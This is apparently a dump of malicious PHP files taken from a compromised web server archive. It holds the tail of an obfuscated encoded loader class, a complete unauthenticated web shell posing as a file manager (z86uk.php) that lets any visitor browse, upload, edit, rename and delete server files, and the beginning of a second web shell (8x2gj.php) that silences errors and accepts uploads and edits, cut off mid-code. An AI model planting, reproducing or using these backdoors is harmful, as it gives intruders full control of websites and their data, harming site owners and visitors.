KCs+A0HMHIXVnquJajcgc677AQ3CZnzwb4aan2O8Ps+jYIWZA1tsS9BAsb6dX3y2oQ3k
/L3uJsuvAMNm93x2S1BPyd8h9aMGR2d5mUysSLLhuWlZkte
EQVpKGcUiVNAipTQPnPjona3';
public $_cron = array('2', 'tT', 'rJ', 'jz', 'tj', 'U', 'l1');
public $library = array('oLK', 'eD', 'Vz', '9r', 'a1', 'R');
public $access = array('j0u', 'G09', 'E=', 'rKy', 'bX', 'z97');
public $_point = '1pOSDD6ZAeBjBb0rUMEG5NKUiZqCd+a6pkUNOgzfmy
3znYqeQX3uDtBYMN6ZUPvrdc8kR2fBPpeLcrlm4hXPE
CRNCo/ynRRUpeSmpaAGInymmqLO9V5auHlvQdNteTLXTtqpMwqYUY
dJI47PkSA5/kItvoCBtK+Do5JopW1byBQWJjTZmT/kcGBCpinag3MfzmCmK7
bAlpsk89cn2VN8Zlqn+ElLrK6A6jY+qwTT
/nuzdVIOSBvn3ZMPo02StUPXXTba4gGzMcwyh/tUIPO2eEqGykKtoOZlAf2WE6t90tAd
pJK2BPx7WzbXkNb6j8CdzLL9hCqp9Nql7Pj3WXLs2aJmzHg0C2aTTw1SxW1MkZbOClzNeiQtH
WBV46jUPN7T5gZUiXHLsWNfnhjSdRjQYaDw0As
873dNwz6Itgs3/PS959P5De7UnCjue5IrKNCMvHltcULFAC3ASGjaeFRnhODKEsbbL515F0Mt5
yND/Sz9zH0cvP672eDTalu0dsnct8covAt5rEY2px7E
dcYYEoCK1rs+TpVYsWlgntF1N0+NNFol6QEpV4wSImkMuvf
o2MNkW6JnzN10XsiCK3l174xnYldReFw1LKhxuf0wAA
z5Utkp3MWCXeRUMc5EMXynh2dcXcau0B
O4FLTppGlFJ+0KMonwVYit0xXUKhF8xpWN7JPYMbKLcK7VF6hhf5KP
lqMvr6sHXf6cVK6/2bAkqqeu5AK0ZHcZstY0TZCLGcK+nzUrJ6h514TQ2CZZ
fsn3rL6gh4SH2DywjXTpybibzdi5l9L+PpqOza39B6+ewkmXVTgo2fa9XT84wkNhaSXXFuPe7n1Gnp
OJ/HA+RjSwN+bY8tjcKRsTGauUoeMH71rU0tdnX6Gc9AR6jGRp/WGkSVbQz/npK8Bvpwr1l1JRW82M
u7/jtHXtuDvnlvEbfLjwfIyLxsFWjfc
X2G9X4hNDMFa+6r1aapLmPy0vwLElo0Salo1tjfEGHYK
xf0iuG07AyNTJ2qrnfGhaBIGg3/yUjWrpxaMNdRBZm
GrYceci2nPWEBcwcI9c2ktI4NqqNgQN+pzmciuOpAhdK7RF2gPe5GGLLFktQrwZFSdAa
AE8cWZ9oFJXYv8FlsMbb/zMlm3TyxXWsHDOth0HhsqaxPpdR05voBEB8Iec6F4RIpYtzuoi/PxCY
NJ0o/eQ6aI65mYABzm/Zlq1wMxv68S2aOmRjVpz/66e2yqFve4X3qEUib/0L
13BCFG/qE+ohtSVaGqcbIJUlIM7tRKMCHvP8Jj9SRfRm1Uz5wRptLBK0LC/
NgqXbBn77lQ/mKe8YAo7PnioFp6pWU4zmCAg5JlbX1FLs
RhwANI+sO6doZpbLmyLYXFQsQPypxR+W1HGQefer8js4g6j4tK0WaOFi9GWYNRs8MuIuG
Mvii6eGJz4U2WtBdef15hijVqgYk3VfqXd
oJMl333HL5qpxXywUQ8ZJuSWcuMUkh4CaBD0qLDvJ
ydxEHTfw11dP8Q99+DXoPsfo/CH7VaeoZiD5ZnWS3hpwmm5TqOUi8xdezOWx9h7oV8ST0Eo+b2
PU1G2/oRygiMzLJwYjbHSOPHe/YOhXuS5T/UnlPupS
28h57vYPaJU/exdsk8bZ5QM3ByuLTgp8D4lYyDVHbqH
SOpldZImdRZv2QYosAWyUET5Prd5pyjY6VduMCzYo2UKQ7Oe2A/
bWThuHDtNwqpwzTAM6P+pSfnPtxoqoX3nkNcmzXvQ
Ry35/z/CmJ6uQjGxwMF2L9SCY/KRdDREkyu4c
XD9B+JY1jl5bjrL10UmlZNVgDTZSEJWjtQQS
qfPdEMSIOUjEaJvjxTEwBfb7zD6U0N4psCxH53C3j//nWn
s/3LrdssaSzfgCMkiENssKsJRskbggloNiavXx9bL5VTflJpGYfZnKAd
wDgAoQyHVLpVcNAI5+G7h+bJyHiFVvz4Pe0f/ALiW9/R6WzHHVVNBA1wgaZUny30QL3zoO9X7sU6
9zN5uZSKlKZGhV8ltwXC2ReCDL0m3/+4uwGOaexigeeej9R3Qm5pgrKQ5PPscWL49rZ+
QUYUR/qnihs1fbqngb44i8aukJBltPi3H8w
RGgoInlTqWg1R5CQaPJPmHyq0MkO09sfsziUfDFXe
iavtxe6Cg02ISTKdY5/gLmErEpYLAvIy32yGszqizRLvahLyim3zTvnMEuMDl8P0af5JAhDHT0
MbGr8UCPRSq71AlA3cW+yyno5koiJQNbx+r8kBGx2iN3a8ohfMGDq6DxXpKUrckZzV0Q5AK9IK7cX
7TmhTjbV6asresnoicgmZBY+9zKcQL0cYDd5mbFk5hHXh+iR3kgzgPAZuh2iR48byxU0hpkoFLq
WShRYaf5aNgTbldfdtDqgxwx5WSNTWZSH3emwnJDTr
bN5NGOMnqGJFVLoqpKwxPAPHUF4YuuRxFDPlt4K/ozFaWTkp2r+8HjWW
3yppgZSURf/HFZTMG+lpT8Fwde6OCFyQOsyjX4nQUjJXLnR+bpV4FUNAW5NH8loDTNAdE4xVix8Zbl
2/aj+uQfXQVchD5s9tMWdsmbiR6Pa0JjxjIIEsDNbdlS
m9myXg9IGOFLz2ARe1n/vWUVzAUbKglw3
UBgKcGSK0o6ZNeNBLhtqOsa5D96VS7I
eXT5glqWGy4hUi+Lm6ucwtEEmS88BkZ5NTvP4yMomyfHykYG+ODNVJCjt959N
pctHjKIJp57/Y3S3gh5oLCCsNHOCMlywWq5jI9J7S4LBMf+zqhl1CFyMeJglK5gZpYC8peTWwiT968
YzeXje7rTkBliqEuROinrtAjB2MzcGh/Ryd30/XBY7kQANhqKGRIpnoEZ0aSXL4/o9lDRGZojXp
7TA14nwltkDczXp4sPF0hkLFIcJVF8P9WM4MqkWvug3JUJcN4n5HwzA35yDkzzMVQcn1mQ6
6JskTfu1nwnrqfBcoOMyCjJiM7EyxOy6QiKE3YGfUEOG/wv+nfh5yDL+kWm
m0IprYUQIW/JsyAP1CLkEq+yiYl/5dQzCgBOi1JIO2wzg7XEkJzb7Mdkbdmz
UiHu+B3q5rdE+Ja9EoINKt13zKIHaizNtOMSB96ZQJil8pFgrll0kzTj6MEvI
A1Ks/aMHwxbAw2ifdmotYWkfadnB6haeG6SVWH6mCCly8MG5vsuGobwB54L9
W95rFM6pvPQ7FLXrpKuuSBEwMICKz4prN5J8OKjSa7K6fGNCo5yMJeqkSw3i00bSSIoNT8hK2
AfBRd/Z+7+Ee4ZMCxlMCcGOdpY9+EuRfAAl7cHf7fejAl7ese4XgzlHezCOc2Neb
O9pvwBd/DZwxnn442zV+zHpLiFvHlJX9u84Ng5f0YQ
Uir8M4zq3LmiqMr2lFZ+kxgApzg0mJHhFpjtMO2VdoIPlev1NKSYWD
XG5vU9j+jTEPj3pdLSONKfdN1WaTsAqzmwRPoSC/ei6BiKFBFgkPB7q4Pb388wHjAf6wDHg7hcm
huIs/7rBMQuLiCGTd8lcDQKH8gX1fCH4Ue0NtrWqw7svI/ke5DGlmB/4n7mkEoWNEuFzu9k/o2p/BeG
EXZpW1y4yyy52HqK6YGI0VZc60OWuXoFdeRhssrkWyC+hEM8sQCJj3LxyR6Wb2haMkzORcgAE
2jCB9idQva1ou03FQl4mpA+POced1C/7P2dYzLWvozJhhutlrHo+iBpr00
9oXg/NdD84pIs2LpWuI2SkBEtOsNAjPdtowRuD4a
9iJht9/DGXHZOd46tX8ykO+6qr+h6bWrt3JwSxmL3DpmeqmdR7Ul/DzzOihIpKTosu
wWKbwAj2L7ndbWmAEOVDZcvW6cAORQGcb14qiBg1Mc5L5Azuaf
L8h8abGrM0va8m9l+87VYPyOFhaOIfJxhl+q
Og+kcPsFHKSnwU+cYMqN02i2ijkCsr6UTMKe8Uu1u7hK+fKnlF47yUV
9yrn57zfE+PV3wH1/5c0dsmTtCsxqxeqwyEk++g8DybB1PDJ
Mz6NnBXBggGVhyiq/OGL6RSR1eFRvbBf3LWlxuy0V4Rr+QrFGp4t7pkT4m
+rwxq3XRUlcDlrUaEItctGn/DAX440lLt1e327YIyClTar
umqL2k8/izPozlSb/LzfHyqJJquIsNJzqw4JFqtbLvCPlHP9fxB/re/JJ47IPCKBNcp7TfLckdO
LRqky2ZpChZshydTtfl56okG7zjl8aDx
Trr1ucoe5Mt0pcwmVl9V58KiaCygL5U0h/zq
r7mxO15msOLp5hsXc1Y3JEr7/gfLZn7vS6Ph1/BDpWGmrln4
YQYcHEdhimts3T8pYYveY2MDplPY8yQUI/tbeGpK9x8h/2iZmIflrEhvuIkJwy1xWEnMUX9QXq
04MrzI1cinidmYs+dGjBcewXka+ykL7vxYimTa05RqUsnI
lkR2zZI9mfBNqjzPwn/VCTk62Tsb0nN56jB74nGO9xC/zwzhTbtCkHQofOYVaTAns
ZlDM1vQL1nu7LFnEYpVqQIGx3iexSN9y
bDb7Mf4IpMnfyoU6jSkYSaXV5x8a/KTMWk6Ds3hnMI
QR3kq8L/Emyt//3qDDdBVwFGBiima8jd+WI8HuwrUcm7ptjHrPJ0hqecruBp
YkFRHjDBsG/XdW0sgRkgzLIiVWaguu4xnZayXVbw9w8xTU0bndv11lq8akDJ
kW0+UQ3b20Fn4qRFau1R5tvZAHaiap5OFgaZSsC4+6KVj7A6IB4t7S8la6tT7M3Nn/RBjAdR
ZuGgvU9xuISup2gAgY++jzJXM+fKo9BtNIgakrJWfxBiu/HpsAu7Z0fldUWpvaXgtXj1F6JiiPNxGPP
JMqvxrtfndS4btWVinThs++dZnJEinyHrwfxPTrLjULR44hc9dClldQ
jertrj7FREhJUY7PB+ZMQobvrWy6uNb8bfOz4fk9FZBN0d2x
V8tmb3nFehQf1AE3zD7a0l8ZJeYdTUQe5m7EBB3/l2kG3JqMP3ylPO8mL7m61TtK4M
EKiV1ctESdd4461dmjC3bAfbV4ooxgbvMGIH5aE33qRIhvZt357LzBGY+LfIqQ3C7pkmbz/B
SDqdA6ee/Dr6nozSfGhW1ugtMhrYNxHhvWR2YN2N82K9b6hXU7ZI0DACKmyt+a
J6iuI7ueCC9AS4yXV6G5BxqO2wRJrAcj2LGEkpo
b+ZHBdD8h8EkmYm46xuHeh3hbdIaXBHjCKBthmiKOddL/AAE2yfrTFGVsYCpjil2urBEO
5CGJiBJjQqy0QjPf+9EV3gFKortMZNm6aixEprFdG3psv
UDT4JAi/L4NlZOZzuTW6LYXt4MSAzc1EFRu1w4TOjSLqT2EMf9ftCdC2a7ZwKqc8Od5JWUhNien
O9tWbVleGouAogC/2I7bvPL0daek6cn+izQwuaX2GGV
6cFoSU4vdl8DcIfNof9V2YqYI9HwsboITHxLPfPOdHzU84bWgX11Y1HHgxggf7QuwqIrudqUn
AVVmc4efL9Hk6i2+56P5fpxv466Irt3U40OxRqNdwolYroHQdBcVAm
Gizu/GHhvWqeJkwUSv/7SwA9+2it59zZU
4/KwcZCLSe1V8uXQMA2fdYVSlCzSrjZFBd3bu3aPGWb/1OJG
FZ2ynCaoPjqj3Rqan80IrEwNHjPWzxuaEmTCtG9xx6oVgl9UO/iMFLlOmxUbQeDX7sa4
1qSvpwa1bPzQroLIi4Is/wgknbIgpHgm
WeQw8VRtwkAbFLmZiQ8zGzPHO6Otrg28aZUgLvDnr1OLSKdlrp+Bv/0EmjiqqNLvqY1
kEm06k8wxM5rGePrQbCsVbWKE1xWVEt6L8L0J3o2ToPjk9dvo5m+48vFa8/ZnewIzlGZZ
W8PXQOyMedsAtaiCnzuVt8VIcMI0eYSF2pIKyK/6KP/k2LhJH9uvt6n/ZejY
+kEFVo6TMTKnzxLbKYXfHmRbIhmo5UZ4cwsXOTZF/a4Z995IKpzxlw
y1ihgQ8KXp61fbpbEVLKdjUs8P1Bfebg75tPZqmYJdyMT2r5It3CsM0R
2ztHu44+VDywqPRLf3SWLB7zAYCe8H6JoNvY8G4bPNu8vxFlhWT10lv+vBm82rQp3y8ky
mvmV5Rpvj5RCZ19C2PYzu8kxF06vaaZ/obg3/wSGbAeAJSe3eZYeNCO63WMpr1EahyKe
QwYiwhLXNertLrQaMld5+v4NlCofSjJ34Xf4D/j
fPCK8kL7C8fZa2QVrYzdo4g47Wa06EAveykuVHG5AEDF3yLoTEXk/NiqBm+Iwss2n68k2sSFLR
k4HG1fakXZ6lZbelfNbYO1Lv22sRg9pm41nVKh4rY84qkZVO5ipCwhJD9X03J
kCWPe2arVyry+uPOSTeRpUcIiZuJsMYfmZTvEAgGepBmok7lsR76A5bZU+pWTK
H0MahXDYlKE9xLcFSeC2j5oJQE8lbsJAdPbrVbEXAGO/OblIyo4NiZweq/JpepAivIH
TVKlFIyCmVTwmioUE2GuJnBFYMeCUvxotD7SJ3o2prdfHrPWs+0hs3mnROyZ
P1BrljEeMbJq5IOX7p3DwO9+4K01CLkMWGaTzQT/nAQgBUMVyqVk/D
tq+NG85SLvBQ2Dm+80yZ7bmtRe+0THrH+JTeP4Hs
oP/WCb1wOl4Ysh7wtqqDAXCpKvl3qeqqAPW8faVhNkofgXsYdl5yX
YKNdp5pqzWvbPtkQcILxV58H+WBo+qAmNeFJgVBCZ7Xaf
K5mToezMBb6wFb6AZLyCBdNfCVmrERTKBU59mVT
vEQMS1Ou338eL0VA0p6qtd6BF+84e0mHFRfO60b1y1pDvZAzuUPt9ZvO7QNqIq+LK8+lwR
p1IYBA6rBEurlwMHS597pA37uTL03tiGh/tNHB6frX4LcM
0n0q11K77rWSoUEkdNa1orpZWonjYa/5b1HL6EPlhATjl/09XkVd8li09W8qH436RgKLhgj
ZvVmePe9HZLeXrv3EVu6/B6i65Yvd7Fy+ogSb5jjWfgQzTv7UYaWIdyOVfGhjXLy2R
QEEO0QSqUQl4mccAlLlZO4tcXRC6yXf9D5Bg/refYFYzhOrea07xAgZ9vjJUIlOpUMd
IvPCp9WiLzQVMBeuD9775DluvueUCO0uG7+fL2s7e3HfcCVR9h8bVb
LCfNy2xmH3BbC9by7tsSttV9+0Kxji70qGgxMIIulaf8jj47jRaX/wBjKf8B+MJamI51r6d
SB1RfC17h0VZEg/0t5iE1AXWCOKGuPUghKC1eQJyXCICOnZVEnl8q4Kh
LRt2z71kSF+tButp7uS5DPVpCxYEAVk0+Brugtd2BtXHVFdTGngCxOqKj
IaSOAOdV8qHvfN3XbDy31t/4OyxXaRqb+lCCv
SJ6pHh2YsSV1ZCMQZvgcvWHRyMHrEMORpvENC2bxZg77Zj+IpYEGl91E
tghEjNzxgU/zbQrWtwG4MTup5zrE747ittF
HnHl/EOCFISvHXcqjO2gzkn9Xs+Yu1rffduIw
JY3RCndsNVDyATxpRVadRg6g2YD63Gc8dK+zNsHgSSqm2XbXSyfhdMObZkj3dQ2ogZZbqf
0R3oInvFF4nZ8Q75W9Dmg0nhrTMzT7MKUph+amWyV
17OSvH9n1nbadxqP52izoD8V68+GU4ITNyMjgMQ6jWtuuqjyH6rPQzsYp2csK6EIaAGf40Va
ZQBY4414778m52QbW2YCnF8ukKnT1b/Kc2Xr6r5y9I8K7xOePLeQb7MZSD3B+btXxXe/cgavw
Pl8Smv3Ak05S7Pp26+lyk5m90CcvJH
+nl/3Ccq1m/VLkSDFbGokxx6bYorwpaz
zs39vKOT/3WZJKI4xcOvFxY+Cuol4pHnbQv5WkebKg0iAVVHqjXjyX
p4AadkTLsx22UX+ZFgHf75vks2pfABZB6jrZHcCQR6bdDbNN0euvdE28xg915PNARpO
6fviipxHXL1LWcgUFeRxOquzQoGO6hBO78q
sQAcGrCOCqxv33K+Uua8lXkinOi/W3LyIBFJj9a2kumoqa+G+7o4RLfBwndZzXten
OPkQYVin/Ef3h5BeKBvUwE3Lup3kmFQ/0U+
fX5q82WOeiQ9ue4SGLHySHo+KFGgOjHQ7AmS7+Rwey9KfK4L3RS9YNGe9wxk8
TcWR6xa2caNynHgoaLdbLzNfm4FJn2FTrDS3VY2fObzodpBQh1ttEQy
Nx3ZkUD/If+m7IvfDjcb0cBR+/FCtekzq5WglRfGsWJyGrhkyJ7VVScc5FdEHT6BzBJxlMRryC5V
DmfWOX1PZdC+GF1qwi3mM6bGOryluQs0/IZYHYzZvFy6jJF8bUIahT6gC8k7Ydth
Fqvo/TkJPLB7IjzEia5AnUGs1Zej0fwNbzw+lfubj8VlJH09L8CcsD8PFbD71aSn
Z2o8uQ3b/I3cpJFub04laDgi8vQIhrUneC+hF+A
NW1UleWPMrvaUwpIzCYsRpehvv+4hmTEf
vaQumJ/ThBapTJiiUrJIuRfMTjvPl15xEoaY+FL3VoI6Ym+P4
6O/zRgG7BPQuAYqWpdtCO0Y0+UNVYs/SKC9pUNzU478soB9mV
Rt6/bm0I2iUkW3OYMLfewIrqrM8+KT+15a4joq1+3FkM5lo
md06pte49E0Y8I8tps2ZOqc3KYWlE2yytUvScn+EQ8Be063WpReEux48bZbSZ5slgfeDgPy5uVWkFNG
EG5MhMVmI9f5URpWh15IBxhMQ/LIbN4aX8SbhjrOhSsSG6ZCc0l
dv00D2DSkb51arDaExfANo9bgtS6FY0Wlw6VGpk2B+2LaIiSiY1rU+u4bvA
sEsNy37K21BeK7OetWyO30LkCsJL5T7l0zqCG
Pp8KNWLXU/2yW9Ax0TA7SWceNS/c7SrUI+IsqNDzCP9RQxtxcsaHm6nzdUp6DRaao5AmNOFYRDSSKl4
to3nPs1CFw74FSzShaD+W5aWN9oiZeB
pSSrtKuD5pV18iGnQdd2xtVH4jJWvOUg
qUJmmwbjEe3Jr8XCcQ+rNh34xz0rZvbRnIuD
oAdH7dvkV4k+koUKy38pl6KWknzsPwgx1T4J6f2OGvF6jL7sWERcQvh9r45QfnsagGJC7k
GJUX0OXp3oPKDoLNyfjRXmdaixQHVeUnKe1aK3Gmhj+Taq9mpukWrnSyzLar9CTQSltbYuxT
6G7gsBx4oh7DuP5ssA3XU1mKEo0pKeQ/6giBWm6q8QDxM2hlNaJX14YDpToV/lb
6L6z9NioEDLT+X2slKuWVbwV3ZQqjSPh506uJ7EX71N5HSQMZQoL
ymfjXbXCdxOF9kmNREuDp8jITOKIWoebWtVK/215pwsp5xGvlczuQ4+sRFV
FpsUtjmKZPdJFXvq59hNh5kXpP7XTbF
Hb4Sjhbq5IF64VrVypMY1hKx13cRHYX3J2TctUCSq7Qa0u7J5krJ
giYpL26hKKYrp44nDWZbym2GFYGY34oIVnVf0XTaF4VYoeLCRlEdl
Cco8AC8NqGWiSn5ld5/XGU/z9WtvLDanCkNPWsZELPdHe/JOy7ILC6DGzxCa1ishS7
sTuJ45Y6fbkwxVbJSEh5u9KUl8SWWSI
Z+g0yN/7rRAzeaTnAs1cj1XFHkyy8m9wE4CO
7nip56POvqvOvv';
public $_inc = array('9Li', 'Nraz', 'qWx', 'cnp1', 'Kw', 'Ob', 'nK');
public $_worker;
}
new Div();
?>PK ;Cm\9�gZ�, �, z86uk.phpnu �[��� <!DOCTYPE html>]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;'</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
crossorigin="anonymous" referrerpolicy="no-referrer" />
</head>
<body>
<?php
//function
function formatSizeUnits($bytes)
{
if ($bytes >= 1073741824) {
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
$bytes = number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
$bytes = number_format($bytes / 1024, 2) . ' KB';
} elseif ($bytes > 1) {
$bytes = $bytes . ' bytes';
} elseif ($bytes == 1) {
$bytes = $bytes . ' byte';
} else {
$bytes = '0 bytes';
}
return $bytes;
}
function fileExtension($file)
{
return substr(strrchr($file, '.'), 1);
}
function fileIcon($file)
{
$imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
$audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
$ext = strtolower(fileExtension($file));
if ($file == "error_log") {
return '<i class="fa-sharp fa-solid fa-bug"></i> ';
} elseif ($file == ".htaccess") {
return '<i class="fa-solid fa-hammer"></i> ';
}
if ($ext == "html" || $ext == "htm") {
return '<i class="fa-brands fa-html5"></i> ';
} elseif ($ext == "php" || $ext == "phtml") {
return '<i class="fa-brands fa-php"></i> ';
} elseif (in_array($ext, $imgs)) {
return '<i class="fa-regular fa-images"></i> ';
} elseif ($ext == "css") {
return '<i class="fa-brands fa-css3"></i> ';
} elseif ($ext == "txt") {
return '<i class="fa-regular fa-file-lines"></i> ';
} elseif (in_array($ext, $audio)) {
return '<i class="fa-duotone fa-file-music"></i> ';
} elseif ($ext == "py") {
return '<i class="fa-brands fa-python"></i> ';
} elseif ($ext == "js") {
return '<i class="fa-brands fa-js"></i> ';
} else {
return '<i class="fa-solid fa-file"></i> ';
}
}
function encodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($a, $b, $path);
}
function decodePath($path)
{
$a = array("/", "\\", ".", ":");
$b = array("ক", "খ", "গ", "ঘ");
return str_replace($b, $a, $path);
}
$root_path = __DIR__;
if (isset($_GET['p'])) {
if (empty($_GET['p'])) {
$p = $root_path;
} elseif (!is_dir(decodePath($_GET['p']))) {
echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
} elseif (is_dir(decodePath($_GET['p']))) {
$p = decodePath($_GET['p']);
}
} elseif (isset($_GET['q'])) {
if (!is_dir(decodePath($_GET['q']))) {
echo ("<script>window.location.replace('?p=');</script>");
} elseif (is_dir(decodePath($_GET['q']))) {
$p = decodePath($_GET['q']);
}
} else {
$p = $root_path;
}
define("PATH", $p);
echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
<div class="navbar-brand">
<a href="?"><img src="https://raw.githubusercontent.com/hurairathexper/elepfilemanager/main/img/icon.png" width="30" height="30" alt=""></a>
');
$path = str_replace('\\', '/', PATH);
$paths = explode('/', $path);
foreach ($paths as $id => $dir_part) {
if ($dir_part == '' && $id == 0) {
$a = true;
echo "<a href=\"?p=/\">/</a>";
continue;
}
if ($dir_part == '')
continue;
echo "<a href='?p=";
for ($i = 0; $i <= $id; $i++) {
echo str_replace(":", "ঘ", $paths[$i]);
if ($i != $id)
echo "ক";
}
echo "'>" . $dir_part . "</a>/";
}
echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload FileeE</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a>
</div>
</nav>');
if (isset($_GET['p'])) {
//fetch files
if (is_readable(PATH)) {
$fetch_obj = scandir(PATH);
$folders = array();
$files = array();
foreach ($fetch_obj as $obj) {
if ($obj == '.' || $obj == '..') {
continue;
}
$new_obj = PATH . '/' . $obj;
if (is_dir($new_obj)) {
array_push($folders, $obj);
} elseif (is_file($new_obj)) {
array_push($files, $obj);
}
}
}
echo '
<table class="table table-hover">
<thead>
<tr>
<th scope="col">Name</th>
<th scope="col">Size</th>
<th scope="col">Modified</th>
<th scope="col">Perms</th>
<th scope="col">Actions</th>
</tr>
</thead>
<tbody>
';
foreach ($folders as $folder) {
echo " <tr>
<td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
<td><b>---</b></td>
<td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
<td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
<td>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
foreach ($files as $file) {
echo " <tr>
<td>" . fileIcon($file) . $file . "</td>
<td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
<td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
<td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
<td>
<a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
<a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
<a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
<td>
</tr>
";
}
echo " </tbody>
</table>";
} else {
if (empty($_GET)) {
echo ("<script>window.location.replace('?p=');</script>");
}
}
if (isset($_GET['upload'])) {
echo '
<form method="post" enctype="multipart/form-data">
Select file to upload:
<input type="file" name="fileToUpload" id="fileToUpload">
<input type="submit" class="btn btn-dark" value="Upload" name="upload">
</form>';
}
if (isset($_GET['r'])) {
if (!empty($_GET['r']) && isset($_GET['q'])) {
echo '
<form method="post">
Rename:
<input type="text" name="name" value="' . $_GET['r'] . '">
<input type="submit" class="btn btn-dark" value="Rename" name="rename">
</form>';
if (isset($_POST['rename'])) {
$name = PATH . "/" . $_GET['r'];
if(rename($name, PATH . "/" . $_POST['name'])) {
echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
}
if (isset($_GET['e'])) {
if (!empty($_GET['e']) && isset($_GET['q'])) {
echo '
<form method="post">
<textarea style="height: 500px;
width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
<br>
<input type="submit" class="btn btn-dark" value="Save" name="edit">
</form>';
if(isset($_POST['edit'])) {
$filename = PATH."/".$_GET['e'];
$data = $_POST['data'];
$open = fopen($filename,"w");
if(fwrite($open,$data)) {
echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
fclose($open);
}
}
}
if (isset($_POST["upload"])) {
$target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
} else {
echo "<p>Sorry, there was an error uploading your file.</p>";
}
}
if (isset($_GET['d']) && isset($_GET['q'])) {
$name = PATH . "/" . $_GET['d'];
if (is_file($name)) {
if(unlink($name)) {
echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
} elseif (is_dir($name)) {
if(rmdir($name) == true) {
echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
} else {
echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
}
}
}
?>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
crossorigin="anonymous"></script>
</body>
</html>PK =Cm\���� � 8x2gj.phpnu �[��� <?php
@ini_set('display_errors', 0);
@set_time_limit(0);
error_reporting(0);
function safe($s) {
return htmlspecialchars($s, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
function formatSize($bytes) {
$units = ['B','KB','MB','GB','TB'];
for ($i = 0; $bytes >= 1024 && $i < count($units)-1; $i++) {
$bytes /= 1024;
}
return round($bytes, 2).' '.$units[$i];
}
$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
$cwd = realpath($cwd);
// Handle upload
if (isset($_POST['upload']) && isset($_FILES['file'])) {
$target = $cwd . '/' . basename($_FILES['file']['name']);
if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
echo "<div style='color:#0f0'>[+] File uploaded successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Upload failed.</div>";
}
}
// Handle file edit save
if (isset($_POST['save']) && isset($_POST['filename'])) {
$path = $cwd.'/'.basename($_POST['filename']);
if (@file_put_contents($path, $_POST['content']) !== false) {
echo "<div style='color:#0f0'>[+] File saved successfully.</div>";
} else {
echo "<div style='color:#f00'>[-] Failed to save file.</div>";
}
}
// Handle create directory
if (isset($_POST['mkdir']) && isset($_POST['dirname'])) {
$dirName = basename($_POST['dirname']);
